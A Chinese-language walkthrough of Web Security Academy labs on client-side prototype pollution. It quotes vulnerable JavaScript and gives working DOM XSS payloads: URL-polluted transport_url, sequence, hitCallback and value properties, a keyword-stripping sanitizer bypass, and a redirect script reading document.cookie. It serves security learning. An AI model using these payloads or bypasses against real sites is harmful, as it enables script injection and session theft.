通过客户端原型污染的 DOM XSS

image-20221230183134885

首先在控制台上面 执行 Object.prototype

image-20221230190929678

接着在url 尝试通过任意字符串注入任意属性

/?__proto__[foo]=bar

再次执行Object.prototype 发现我们的属性已经被注入进去了

image-20221230191051975

image-20221230183800303

async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};

if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}

if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}

这段代码的作用很简单 就是将 url中的参数解析 并传给config的 params 而其中的deparam函数是将当前url中的查询参数解析为一个对象 如果存在 transport_url 就先将值放到js脚本中

?__proto__[transport_url]=bar

image-20221230185423094

image-20221230185353841

?__proto__[transport_url]=data:,alert(1);

其中使用了data: 协议 用于嵌入小型的js脚本

<script src="data:,alert(1);"></script>

image-20221230185455768

通过替代原型污染向量的 DOM XSS

image-20221230190634940

这次 不行

?__proto__[foo]=bar

image-20221230191219045

换一种方式执行

/?__proto__.foo=bar

image-20221230191305169

async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
//这里并没有对 manager.sequence 进行初始化
manager.sequence = a + 1;

eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
/?__proto__.sequence=alert(1)

但是这里并没有执行 原因就是这里 加了一个 1

image-20221230191812595

/?__proto__.sequence=alert(1)-

image-20221230191850853

第三方库中的客户端原型污染

image-20221230191921386

image-20221230192222007

image-20221230192303582

image-20221230192424409

image-20221230192506393

image-20221230192515486

https://0af700dd041b5b30c074bd1f006f0076.web-security-academy.net/#__proto__[hitCallback]=alert%281%29
<script>
location="https://0af700dd041b5b30c074bd1f006f0076.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

image-20221230192636693

通过浏览器 API 造成的客户端原型污染

image-20221230192720713

async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}

这里的 Object.defineProperty 用于给对象定义或者修改属性 我们举一个赋值只读属性的例子 其中的 obj 作为赋值的对象 readOnly 为赋值的名称 value 为属性的值 writeable 为是否可写

const obj = {};

// 定义一个只读属性
Object.defineProperty(obj, 'readOnly', {
value: 'This is a read-only property',
writable: false,
});

console.log(obj.readOnly); // 'This is a read-only property'
obj.readOnly = 'Can I change it?';
console.log(obj.readOnly); // 'This is a read-only property'

那么这里你就能发现了 我们上面的 transport_url 并没有给value 赋值 因此我们可以污染value

同样的先找污染的方法

/?__proto__[foo]=bar

image-20221230195354954

image-20221230195513550

/?__proto__[value]=data:,alert(1)

image-20221230195556200

通过有缺陷的消毒造成客户端原型污染

image-20221230195636082

/?__proto__.foo=bar
/?constructor.prototype.foo=bar

尝试寻找污染方式

image-20221230195811074

image-20221230195827599

发现存在过滤

function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
/?__pro__proto__to__[foo]=bar

image-20221230195913222

/?__pro__proto__to__[transport_url]=data:,alert(1)

image-20221230195944988